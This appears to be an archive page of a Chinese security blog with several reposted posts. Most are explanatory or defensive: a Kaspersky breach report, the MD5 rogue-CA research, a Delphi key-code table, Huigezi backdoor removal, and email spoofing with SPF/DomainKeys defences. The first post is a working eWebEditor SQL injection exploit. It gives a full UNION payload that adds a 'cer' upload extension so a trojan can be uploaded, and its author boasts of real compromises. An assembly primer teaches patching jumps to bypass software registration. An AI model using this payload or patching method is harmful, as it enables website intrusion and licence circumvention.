分类 "网络安全" 的存档.

union select控制ewebeditor上传文件后缀

来源:忧伤的小K
作者:X.Z.cool

目前网上流传太多ewebeidtor的修改版 lite版
216版的ewebeditor 存在一个注入漏洞 之后一个版也存在这样的问题
前段时间拉至尊宝渗透一内网时发现这个东西
无后台 无法登陆 默认数据库 但用处也不大
所以就深刻研究了下这个注入 发现可以通过union 来控制允许上传类型的列表
随后时间成功利用此漏洞拿了不少东西 分享下
漏洞文件是upload.asp

复制内容到剪贴板程序代码程序代码
Sub InitUpload()
sType = UCase(Trim(Request.QueryString("type")))
sStyleName = Trim(Request.QueryString("style"))
sSql = "select * from ewebeditor_style where s_name='" & sStyleName &
"'"
ors.Open sSql, oConn, 0, 1
If Not ors.Eof Then
sUploadDir = ors("S_UploadDir")
sUploadDir = Replace(sUploadDir, "\", "/")
If Right(sUploadDir, 1) <> "/" Then
sUploadDir = sUploadDir & "/"
End If

Select Case sType
Case "FILE"
sAllowExt = ors("S_FileExt")
nAllowSize = ors("S_FileSize")
Case "MEDIA"
sAllowExt = ors("S_MediaExt")
nAllowSize = ors("S_MediaSize")
Case "FLASH"
sAllowExt = ors("S_FlashExt")
nAllowSize = ors("S_FlashSize")
Case Else
sAllowExt = ors("S_ImageExt")
nAllowSize = ors("S_ImageSize")
End Select
Else
OutScript("parent.UploadError('无效的样式ID号,请通过页面上的链接进行操作!')")
End If
ors.Close
' 任何情况下都不允许上传asp脚本文件
sAllowExt = Replace(UCase(sAllowExt), "ASP", "")
End Sub

sStyleName变量是直接从style中读取到没有经过任何过滤
我们要做的就是通过 union 增加一个 sAllowExt类型 构造

复制内容到剪贴板程序代码程序代码
upload.asp?action=save&type=IMAGE&style=fox' union select
S_ID,S_Name,S_Dir,S_CSS,S_UploadDir,S_Width,S_Height,S_Memo,S_IsSys,S_FileExt,S_FlashExt,
[S_ImageExt]+'|
cer',S_MediaExt,S_RemoteExt,S_FileSize,S_FlashSize,S_ImageSize,S_MediaSize,-S_RemoteSize,S_StateFlag,S_DetectFromWord,S_InitMode,S_BaseUrl,S_UploadObje-ct,S_AutoDir,S_BaseHref,S_ContentPath,S_AutoRemote,S_ShowBorder
from ewebeditor_style where s_name='standard' and 'a'='a

union要之前的select结果为空(这个好办)
同时要知道字段数(下载到数据库查也能查到了)
我使用[S_ImageExt]+'|cer'使S_ImageExt中加入"|cer"串。
用NC发包就可以上传木马了。

针对没有后台 有默认数据库 或者猜解不到密码的时候 可以用此方法试下 默认库中会泄露ewebeditor的版本信息的.

转载请尊重版权,出处:秋天博客
本文链接: https://www.cfresh.net/web-security/334

黑客攻入卡巴斯基网站数据库 大量机密信息外泄

      据国外媒体报道,一名黑客称其成功攻入杀毒软件厂商卡巴斯基的一个包括敏感信息的数据库,获取了包括用户名单和卡巴产品bug等资料在内的大量敏感信息。 该黑客称自己使用简单的SQL注入命令就成功攻入此数据库,该数据库内有大量卡巴斯基的产品与客户信息,包括用户名单,激活码,软件bug列表,管理员名 单等,他还公布了屏幕截图和大量细节做为佐证,卡巴斯基拒绝对此置评,但两名安全专家浏览了这名黑客公布的资料后表示,卡巴斯基数据库被攻破导致资料外泄 的情况属实。
      该 黑客表示,只需对卡巴斯基网站的URL链接进行少许修改,网站上整个数据库的内容就一览无遗,只要修改一个参数,包括用户、激活码、软件 bug列表在内的资料就全部暴露在网上。如果稍通黑客工具的使用,任何人都能找到卡巴斯基网站的SQL注入漏洞所在。此次攻击是针对卡巴斯基美国站点发 起。 这已不是卡巴斯基的网站第一次遭受SQL注入漏洞攻击,去年七月份,卡巴斯基马来西亚网站的网上商让和数个子域名就被土耳其黑客攻破,并留下了 拥护土耳其政权的口号。该攻击者声称,发起此次攻击行为是为了宣扬爱国精神。而据ZDNet的安全博客Zero Day统计,自2000年以来,卡巴斯基各个国际站点已被黑客攻破总计多达36次。
      安全专家表示,卡巴数据库被攻破的后果非常严重,其一是有可能导致大量客户信息外泄,而且这也使得卡巴的网站成为黑客的众矢之的,招致更多攻击。他表示,卡巴斯基应尽早修复此类问题,因为黑客有可能替换卡巴官网链接,导致卡巴斯基用户下载到恶意软件。

转载请尊重版权,出处:秋天博客
本文链接: https://www.cfresh.net/web-security/349

SSL认证加密被攻破 安全防范需加强

最近,数字证书领域不断爆发出各种安全问题。首先,Comodo公司将mozilla.com的证书兜售给与该公司毫不相关的人。而现在生成证书的方式又出现了很严重的技术问题,但真正的问题还是人的问题。

去年12月27日至30日在柏林召开的“混沌通信”会议上宣布:他们通过利用MD5加密算法漏洞攻破了SSL加密技术,成功搭建一个伪造的证书授权中心(CA),其颁发的证书能够被所有要求SSL的网站接受。

热门web浏览器和很多其他应用程序都拥有可信赖证书授权机构的根证书,这样浏览器就可以验证所打开的网站的证书是由可信类机构颁发的。通过搭建伪造的证书授权机构,研究人员能够创建伪造证书,并且能作为合法凭证通过浏览器的验证,就像合法证书授权机构一样。

研究人员对他们的研究做了充分的报告,为的是使大家明确问题所在,并且研究者们表示,要想复制此破解过程,至少还需要6个月的时间,因此距离黑客利用此法实现真正攻击还有相当遥远的距离,大家也不必过于担心。

这项研究是伟大的,研究人员的创举获得了大家的认可和掌声,也得到VeriSign的认可,VeriSign承认了问题的存在,并正在努力迅速修复所有证书产品中的漏洞。该公司承诺任何受到影响的用户都可以免费得到一个新的未被感染的证书。

在结束本文前,让我们来谈谈hash function(哈希函数功能,哈希函数功能可以使软件在更少且可预见的数据量上运作生成数字签名,却保持与原信息内容之间的高度相关,且有效保证信息在经数字签署后并未做任何修改),也就是此次攻击的目标。

hash function用来采取数据块(可能是很大的数据)并为其创造一个值,其他操作就可以在这个值上进行。hash function通常会为相同的数据库创建相同的哈希函数,但是要扭转这一过程也是不切实际的,不可能根据哈希函数来创建数据库。并且很肯定的是,必然也 有可能两个数据块创建相同的哈希函数,虽然很难找出来。

最后一个问题就是“冲突”证书攻击是怎样发生的:破解的尝试共分为两步,其中的第一步运算量巨大,非常适合于运用分布式运算完成。

因此,研究者们在瑞士洛桑联邦理工大学搭建了一个“PlayStation实验室”,使用200台PS3游戏机,平均分配30GB内存进行运算,耗 时18个小时完成。而第二阶段运算量较小,并且不适合Cell处理器的SPU运算,因此使用了一台顶级四核心PC耗时3到10个小时完成。

在一个周末的时间内,研究者们共进行了三次尝试,制造MD5“冲突”的总运算量为2的51.x次方。最终他们成功伪造了一个证书授权中心,可以随意签发SSL证书,突破各种SSL加密网站。

转载请尊重版权,出处:秋天博客
本文链接: https://www.cfresh.net/web-security/356

Delphi 键盘码表

VK_LBUTTON = 1;
VK_RBUTTON = 2;
VK_CANCEL = 3;
VK_MBUTTON = 4; { NOT contiguous with L & RBUTTON }
VK_BACK = 8;
VK_TAB = 9;
VK_CLEAR = 12;
VK_RETURN = 13;
VK_SHIFT = $10;
VK_CONTROL = 17;
VK_MENU = 18;
VK_PAUSE = 19;
VK_CAPITAL = 20;
VK_KANA = 21;
VK_HANGUL = 21;
VK_JUNJA = 23;
VK_FINAL = 24;
VK_HANJA = 25;
VK_KANJI = 25;
VK_CONVERT = 28;
VK_NONCONVERT = 29;
VK_ACCEPT = 30;
VK_MODECHANGE = 31;
VK_ESCAPE = 27;
VK_SPACE = $20;
VK_PRIOR = 33;
VK_NEXT = 34;
VK_END = 35;
VK_HOME = 36;
VK_LEFT = 37;
VK_UP = 38;
VK_RIGHT = 39;
VK_DOWN = 40;
VK_Select = 41;
VK_PRINT = 42;
VK_EXECUTE = 43;
VK_SNAPSHOT = 44;
VK_Insert = 45;
VK_Delete = 46;
VK_HELP = 47;
{ VK_0 thru VK_9 are the same as ASCII ''0'' thru ''9'' ($30 – $39) }
{ VK_A thru VK_Z are the same as ASCII ''A'' thru ''Z'' ($41 – $5A) }
VK_LWIN = 91;
VK_RWIN = 92;
VK_APPS = 93;
VK_NUMPAD0 = 96;
VK_NUMPAD1 = 97;
VK_NUMPAD2 = 98;
VK_NUMPAD3 = 99;
VK_NUMPAD4 = 100;
VK_NUMPAD5 = 101;
VK_NUMPAD6 = 102;
VK_NUMPAD7 = 103;
VK_NUMPAD8 = 104; VK_NUMPAD9 = 105;
VK_MULTIPLY = 106;
VK_ADD = 107;
VK_SEPARATOR = 108;
VK_SUBTRACT = 109;
VK_DECIMAL = 110;
VK_DIVIDE = 111;
VK_F1 = 112;
VK_F2 = 113;
VK_F3 = 114;
VK_F4 = 115;
VK_F5 = 116;
VK_F6 = 117;
VK_F7 = 118;
VK_F8 = 119;
VK_F9 = 120;
VK_F10 = 121;
VK_F11 = 122;
VK_F12 = 123;
VK_F13 = 124;
VK_F14 = 125;
VK_F15 = 126;
VK_F16 = 127;
VK_F17 = 128;
VK_F18 = 129;
VK_F19 = 130;
VK_F20 = 131;
VK_F21 = 132;
VK_F22 = 133;
VK_F23 = 134;
VK_F24 = 135;
VK_NUMLOCK = 144;
VK_SCROLL = 145;
{ VK_L & VK_R – left and right Alt, Ctrl and Shift virtual keys.
Used only as parameters to GetAsyncKeyState() and GetKeyState().
No other API or message will distinguish left and right keys in this way. }
VK_LSHIFT = 160;
VK_RSHIFT = 161;
VK_LCONTROL = 162;
VK_RCONTROL = 163;
VK_LMENU = 164;
VK_RMENU = 165;
VK_PROCESSKEY = 229;
VK_ATTN = 246;
VK_CRSEL = 247;
VK_EXSEL = 248;
VK_EREOF = 249;
VK_PLAY = 250;
VK_ZOOM = 251;
VK_NONAME = 252;
VK_PA1 = 253;
VK_OEM_CLEAR = 254; 

转载请尊重版权,出处:秋天博客
本文链接: https://www.cfresh.net/web-security/357

灰鸽子病毒运行原理及清除方法

      我们永远不能忘记它:灰鸽子(Backdoor.Huigezi)。因为知道现在,灰鸽子的作者还没有停止这项开发工作。这是最为成功的病毒之一,也是最难查杀的病毒之一,变种之多,加壳之复杂,都让用户颇为头疼。
  一、灰鸽子病毒的运行原理
  灰鸽子木马分两部分:客户端和服务端。黑客操纵着客户端,利用客户端配置生成出一个服务端程序。服务端文件的名字默认为G_Server.exe,然后黑客通过各种渠道传播这个木马(俗称种木马或者开后门)。种木马的手段有很多,比如,黑客可以将它与一张图片绑定,也可以建立一个个人网页,诱骗你点击。
  G_Server.exe运行后将自己拷贝到Windows目录下(98/xp下为系统盘的Windows目录,2K/NT下为系统盘的Winnt目录),然后再从体内释放G_Server.dll和G_Server_Hook.dll到Windows目录下。G_Server.exe、G_Server.dll和G_Server_Hook.dll三个文件相互配合组成了灰鸽子服务端,有些灰鸽子会多释放出一个名为G_ServerKey.dll的文件用来记录键盘操作。注意,G_Server.exe这个名称并不固定,它是可以定制的,比如当定制服务端文件名为A.exe时,生成的文件就是A.exe、A.dll和A_Hook.dll。
  Windows目录下的G_Server.exe文件将自己注册成服务(9X系统写注册表启动项),每次开机都能自动运行,运行后启动G_Server.dll和G_Server_Hook.dll并自动退出。G_Server.dll文件实现后门功能,与控制端客户端进行通信,G_Server_Hook.dll则通过拦截API调用来隐藏病毒。因此,中毒后,我们看不到病毒文件,也看不到病毒注册的服务项。随着灰鸽子服务端文件的设置不同,G_Server_Hook.dll有时候附在Explorer.exe的进程空间中,有时候则是附在所有进程中。
  二、灰鸽子病毒的手工检测
  由于灰鸽子拦截了API调用,在正常模式下木马程序文件和它注册的服务项均被隐藏,也就是说你即使设置了“显示所有隐藏文件”也看不到它们。此外,灰鸽子服务端的文件名也是可以自定义的,这都给手工检测带来了一定的困难。
  但是,通过仔细观察我们发现,对于灰鸽子的检测仍然是有规律可循的。从上面的运行原理分析可以看出,无论自定义的服务器端文件名是什么,一般都会在操作系统的安装目录下生成一个以“_hook.dll”结尾的文件。通过这一点,我们可以较为准确手工检测出灰鸽子木马。
  由于正常模式下灰鸽子会隐藏自身,因此检测灰鸽子的操作一定要在安全模式下进行。进入安全模式的方法是:启动计算机,在系统进入Windows启动画面前,按下F8键(或者在启动计算机时按住Ctrl键不放),在出现的启动选项菜单中,选择“Safe Mode”或“安全模式”。
  1、由于灰鸽子的文件本身具有隐藏属性,因此要设置Windows显示所有文件。打开“我的电脑”,选择菜单“工具”-“文件夹选项”,点击“查看”,取消“隐藏受保护的操作系统文件”前的对勾,并在“隐藏文件和文件夹”项中选择“显示所有文件和文件夹”,然后点击“确定”。
  2、打开Windows的“搜索文件”,文件名称输入“_hook.dll”,搜索位置选择Windows的安装目录(默认98/xp为C:\Windows,2k/NT为C:\Winnt)。
  3、经过搜索,我们在Windows目录(不包含子目录)下发现了一个名称如Game_Hook.dll的文件。
  4、根据灰鸽子原理分析我们知道,如果Game_Hook.DLL是灰鸽子的文件,则在操作系统安装目录下还会有Game.exe和Game.dll文件。打开Windows目录,果然有这两个文件,同时还有一个用于记录键盘操作的GameKey.dll文件。
  经过这几步操作我们基本就可以确定这些文件是灰鸽子木马了,下面就可以进行手动清除。
  三、灰鸽子病毒的手工清除
  经过上面的分析,清除灰鸽子就很容易了。清除灰鸽子仍然要在安全模式下操作,主要有两步:1、清除灰鸽子的服务;2、删除灰鸽子程序文件。
  注意:为防止误操作,清除前一定要做好备份。
  一、清除灰鸽子的服务
  2000/XP系统:
  1、打开注册表编辑器(点击“开始”-“运行”,输入Regedit.exe,确定。),打开 HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services注册表项。
  2、点击菜单“编辑”-“查找”,“查找目标”输入“game.exe”,点击确定,我们就可以找到灰鸽子的服务项(此例为Game_Server)。
  3、删除整个Game_Server项。
  98/me系统:
  在9X下,灰鸽子启动项只有一个,因此清除更为简单。运行注册表编辑器,打开HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run项,我们立即看到名为Game.exe的一项,将Game.exe项删除即可。
  二、删除灰鸽子程序文件
  删除灰鸽子程序文件非常简单,只需要在安全模式下删除Windows目录下的Game.exe、Game.dll、Game_Hook.dll以及Gamekey.dll文件,然后重新启动计算机。至此,灰鸽子已经被清除干净。
  小结
  本文给出了一个手工检测和清除灰鸽子的通用方法,适用于我们看到的大部分灰鸽子木马及其变种,然而仍有极少数变种采用此种方法无法检测和清除。同时,随着灰鸽子新版本的不断推出,作者可能会加入一些新的隐藏方法、防删除手段,手工检测和清除它的难度也会越来越大。当你确定机器中了灰鸽子木马而用本文所述的方法又检测不到时,最好找有经验的朋友帮忙解决。
  来自瑞星的专杀工具
     http://download.rising.com.cn/zsgj/GPDetect.exe"

转载请尊重版权,出处:秋天博客
本文链接: https://www.cfresh.net/web-security/359

汇编免杀学习基础

学习汇编免杀入门知识:

一.机械码,又称机器码.
ultraedit打开,编辑exe文件时你会看到
许许多多的由0,1,2,3,4,5,6,7,8,9,A,B,C,D,E,F组成的数码,这些数码
就是机器码.
修改程序时必须通过修改机器码来修改exe文件.

二.需要熟练掌握的全部汇编知识(只有这么多)
不大容易理解,可先强行背住,混个脸儿熟,以后慢慢的就理解了
cmp a,b 比较a与b
mov a,b 把b的值送给a
ret 返回主程序
nop 无作用,英文“no operation”的简写,意思是“do nothing”(机器码90)
(解释:ultraedit打开编辑exe文件时你看到90,等同于汇编语句nop)
call 调用子程序
je 或jz 若相等则跳(机器码74 或0F84)
jne或jnz 若不相等则跳(机器码75或0F85)
jmp 无条件跳(机器码EB)
jb 若小于则跳
ja 若大于则跳
jg 若大于则跳
jge 若大于等于则跳
jl 若小于则跳
jle 若小于等于则跳
pop 出栈
push 压栈

三.常见修改(机器码)
74=>75 74=>90 74=>EB
75=>74 75=>90 75=>EB

jnz->nop
75->90(相应的机器码修改)

jnz -> jmp
75 -> EB(相应的机器码修改)

jnz -> jz
75->74 (正常) 0F 85 -> 0F 84(特殊情况下,有时,相应的机器码修改)

四.两种不同情况的不同修改方法
1.修改为jmp
je(jne,jz,jnz) =>jmp相应的机器码EB (出错信息向上找到的第一个跳转)jmp的作用是绝对跳,无条件跳,从而跳过下面的出错信息

xxxxxxxxxxxx 出错信息,例如:注册码不对,sorry,未注册版不能…,"Function Not Avaible in Demo" 或 "Command Not Avaible" 或

"Can't save in Shareware/Demo"等 (我们希望把它跳过,不让它出现)
。。。
。。。
xxxxxxxxxxxx 正确路线所在

2.修改为nop
je(jne,jz,jnz) =>nop相应的机器码90 (正确信息向上找到的第一个跳转) nop的作用是抹掉这个跳转,使这个跳转无效,失去作用,从而使

程序顺利来到紧跟其后的正确信息处

xxxxxxxxxxxx 正确信息,例如:注册成功,谢谢您的支持等(我们希望它不被跳过,让它出现,程序一定要顺利来到这里)
。。。
。。。
xxxxxxxxxxxx 出错信息(我们希望不要跳到这里,不让它出现)它们在存贮器和寄存器、寄存器和输入输出端口之间传送数据.
1. 通用数据传送指令.
MOV   传送字或字节.
MOVSX 先符号扩展,再传送.
MOVZX 先零扩展,再传送.
PUSH   把字压入堆栈.
POP   把字弹出堆栈.
PUSHA 把AX,CX,DX,BX,SP,BP,SI,DI依次压入堆栈.
POPA   把DI,SI,BP,SP,BX,DX,CX,AX依次弹出堆栈.
PUSHAD 把EAX,ECX,EDX,EBX,ESP,EBP,ESI,EDI依次压入堆栈.
POPAD 把EDI,ESI,EBP,ESP,EBX,EDX,ECX,EAX依次弹出堆栈.
BSWAP 交换32位寄存器里字节的顺序
XCHG   交换字或字节.( 至少有一个操作数为寄存器,段寄存器不可作为操作数)
CMPXCHG 比较并交换操作数.( 第二个操作数必须为累加器AL/AX/EAX )
XADD   先交换再累加.( 结果在第一个操作数里 )
XLAT   字节查表转换.
── BX 指向一张 256 字节的表的起点, AL 为表的索引值 (0-255,即
0-FFH); 返回 AL 为查表结果. ( [BX+AL]->AL )
2. 输入输出端口传送指令.
IN   I/O端口输入. ( 语法: IN 累加器, {端口号│DX} )
OUT   I/O端口输出. ( 语法: OUT {端口号│DX},累加器 )
输入输出端口由立即方式指定时, 其范围是 0-255; 由寄存器 DX 指定时,
其范围是 0-65535.
3. 目的地址传送指令.
LEA   装入有效地址.
例: LEA DX,string ;把偏移地址存到DX.
LDS   传送目标指针,把指针内容装入DS.
例: LDS SI,string ;把段地址:偏移地址存到DS:SI.
LES   传送目标指针,把指针内容装入ES.
例: LES DI,string ;把段地址:偏移地址存到ESI. LFS   传送目标指针,把指针内容装入FS.
例: LFS DI,string ;把段地址:偏移地址存到FSI.
LGS   传送目标指针,把指针内容装入GS.
例: LGS DI,string ;把段地址:偏移地址存到GSI.
LSS   传送目标指针,把指针内容装入SS.
例: LSS DI,string ;把段地址:偏移地址存到SSI.
4. 标志传送指令.
LAHF   标志寄存器传送,把标志装入AH.
SAHF   标志寄存器传送,把AH内容装入标志寄存器.
PUSHF   标志入栈.
POPF   标志出栈.
PUSHD   32位标志入栈.
POPD   32位标志出栈.

二、算术运算指令
───────────────────────────────────────
ADD   加法.
ADC   带进位加法.
INC   加 1.
AAA   加法的ASCII码调整.
DAA   加法的十进制调整.
SUB   减法.
SBB   带借位减法.
DEC   减 1.
NEC   求反(以 0 减之).
CMP   比较.(两操作数作减法,仅修改标志位,不回送结果).
AAS   减法的ASCII码调整.
DAS   减法的十进制调整.
MUL   无符号乘法.
IMUL   整数乘法.
以上两条,结果回送AH和AL(字节运算),或DX和AX(字运算),
AAM   乘法的ASCII码调整.
DIV   无符号除法.
IDIV   整数除法.
以上两条,结果回送:
商回送AL,余数回送AH, (字节运算);
或 商回送AX,余数回送DX, (字运算).
AAD   除法的ASCII码调整.
CBW   字节转换为字. (把AL中字节的符号扩展到AH中去)
CWD   字转换为双字. (把AX中的字的符号扩展到DX中去)
CWDE   字转换为双字. (把AX中的字符号扩展到EAX中去)
CDQ   双字扩展.   (把EAX中的字的符号扩展到EDX中去)

三、逻辑运算指令
───────────────────────────────────────
AND   与运算.
or   或运算.
XOR   异或运算.
NOT   取反.
TEST   测试.(两操作数作与运算,仅修改标志位,不回送结果).
SHL   逻辑左移.
SAL   算术左移.(=SHL)
SHR   逻辑右移.
SAR   算术右移.(=SHR)
ROL   循环左移.
ROR   循环右移.
RCL   通过进位的循环左移.
RCR   通过进位的循环右移.
以上八种移位指令,其移位次数可达255次.
移位一次时, 可直接用操作码. 如 SHL AX,1.
移位>1次时, 则由寄存器CL给出移位次数.
如 MOV CL,04
SHL AX,CL

四、串指令
───────────────────────────────────────
DS:SI   源串段寄存器 :源串变址.
ESI   目标串段寄存器:目标串变址.
CX   重复次数计数器.
AL/AX   扫描值.
D标志   0表示重复操作中SI和DI应自动增量; 1表示应自动减量.
Z标志   用来控制扫描或比较操作的结束.
MOVS   串传送.
( MOVSB 传送字符.   MOVSW 传送字.   MOVSD 传送双字. )
CMPS   串比较.
( CMPSB 比较字符.   CMPSW 比较字. )
SCAS   串扫描.
把AL或AX的内容与目标串作比较,比较结果

转载请尊重版权,出处:秋天博客
本文链接: https://www.cfresh.net/web-security/361

猥琐的邮件欺诈攻击以及解决方案

作者:云舒
      最近比较流行猥琐流客户端攻击方法,不过都是以XSS等WEB方面的攻击为主。趁这个机会,我顺便把邮件欺诈这个也比较猥琐的老问题拿 出来说一说。问题虽老,但是用来结合社会工程学,做些挂马欺诈的事情,应该危害还是相当大的。
      比如说,你某天收到你boss发给你的一封邮件,给你一个 word文档,难道你不会打开看看么?当然,如果连boss的邮件都在虚拟机里面打开就另说了。具体怎么做太简单我就不说了,这里大致描述一下原理。假设a@domain-a.com要发一封邮件到b@domain-b.com, 正常工作流程是这样的:用户a连接smtp.domain-a.com的smtp服务,进行身份认证,发送邮件内容。随后,smtp.domain- a.com会解析domain-b.com的mx记录得到mx.domain-b.com,连接这个mx记录的smtp服务端口,将a@domain-a.com的那封邮件发送过来,mx.domain-b.com再转交到pop3.domain-b.com,发送给b@domain-b.com。 这里问题就来了,因为邮件是从另外的smtp服务器发送过来的,而smtp.domain-a.com不可能有mx.domain-b.com的账号,也 就是说mx.domain-b.com不可能对smtp.domain-a.com进行身份认证。那么用户接受到的邮件为什么会有发件人信息呢?这个,就 是由smtp.domain-a.com随便说了。因此,你随时可能收到来自你Boss的,附加一个包含0Day的word文档作为附件的邮件……
      对这个问题,我晚上做了一些测试,给hotmail发送伪造源为admin@hotmail.com的邮件被认出来是伪造的放到了垃圾箱,其它的包括gmail,yahoo在内的各大邮箱,都没有部署有效的措施,至于各大企业内部的工作邮箱,我就没敢测试了,也许情况不容乐观。说了攻击,下面主要描述一下解决方案。
      解决方案也许不是完全的,但是至少可以解决来自本域的欺诈邮件,保证你不会收到看似来自你 boss的攻击邮件。解决方案很简洁,主要是微软的Sender ID技术,和yahoo的DomainKeys技术,而且这两种技术思路上也非常接近。 Sender ID利用DNS扩展,来验证邮件发送者是否真的来自它声称的域。工作流程图如下:前面的过程和开始一样,用户a(Sender)通过smtp服务将自己发送给b@domain-b.com的 邮件发送给smtp.domain-a.com。smtp.domain-a.com声称发件人是domain-a.com域的a用户,将邮件发送给 mx.domain-b.com(inbound e-mail server),再转发到pop3.domain-b.com。但是在部署了Sender ID之后,mx.domain-b.com在接收到邮件的时候,会查询domain-a.com域的SPF记录,而SPF记录,保存着允许发送 domain-a.com域邮件的IP段。显然,这个是由domain-a.com域名的拥有者控制的,其它人无法伪造。因此,攻击者伪装domain- b.com发送邮件给domain-b.com域的其他人时,连接过来的IP是攻击者的邮件服务器,而查询出来的允许IP段则是domain-b.com 域公司的IP,显然,这两个IP是不会匹配的,那么就可以判断到这个邮件是伪造的了。简单的说,Sender ID就是首先在domain-b.com的dns服务器上加一个SPF记录,内容为允许发送domain-b.com域邮件的IP段,一般来说指向 smtp.domain-b.com的IP就可以了。接收到号称来自domain-b.com域的邮件时,将DNS SPF解析的结果与IP层获取到的连接IP地址匹配即可。能匹配则是正确的邮件,不匹配则表示是欺诈的攻击邮件。
      相比而言,DomainKeys更为安全,采用了非对称加密签名的方式,甚至可以防止邮件被篡改,只是对系统的资源消耗大了一些。与 Sender ID的区别在于,DomainKeys方案在域的DNS记录中不是保存了允许放松该域邮件允许的IP段,而是保存了一个公钥,相对的私钥保存在SMTP服 务器上。当用户a@domain-a.com在发送邮件 时,SMTP.domain-a.com将用户a此封邮件的邮件头加上邮件内容一起使用私钥做RSA签名,然后将签名附加在邮件头中一起发送。在邮件接收 方服务器mx.domain-b.com接收到邮件时,从domain-a.com的_domainkey记录中获取到该域的公钥,使用公钥对邮件头中包 含的数字签名做验证。签名检验不符合则为伪造邮件,合格则为正常。总的来说,这两个方法都是要求邮件发送方在DNS中做一个特定的记录,要么是发送方的IP段,要么是公钥。最终邮件接收方根据接收邮件 时候的信息,和这个DNS解析出来的特征做对比,匹配则不是伪造邮件。这两种技术都需要邮件发送方的支持,所以推广比较困难。但是至少,可以在自己的本域 启用,防止攻击者伪造自己本域的邮件。
      根据测试来看,hotmail就使用了自己的Sender ID技术,可以认出伪造的hotmail.com域的邮件。
      博主0point手记:记得在07年用雅虎邮箱的时候,它就启用了发信人域名认证这项技术,hotmail的也经常用,但它的默认界面文字实在太小了,找个按钮都要半天也就从没注意过这方面的细节。个人相信在不久的将来邮件域认证技术会大规模应用(虽然可能各邮件服务商只提供针对自己的域认证),因为主要在发送端做一个简单的认证即可,但企业邮局应用此技术估计还要N久N久。

转载请尊重版权,出处:秋天博客
本文链接: https://www.cfresh.net/web-security/369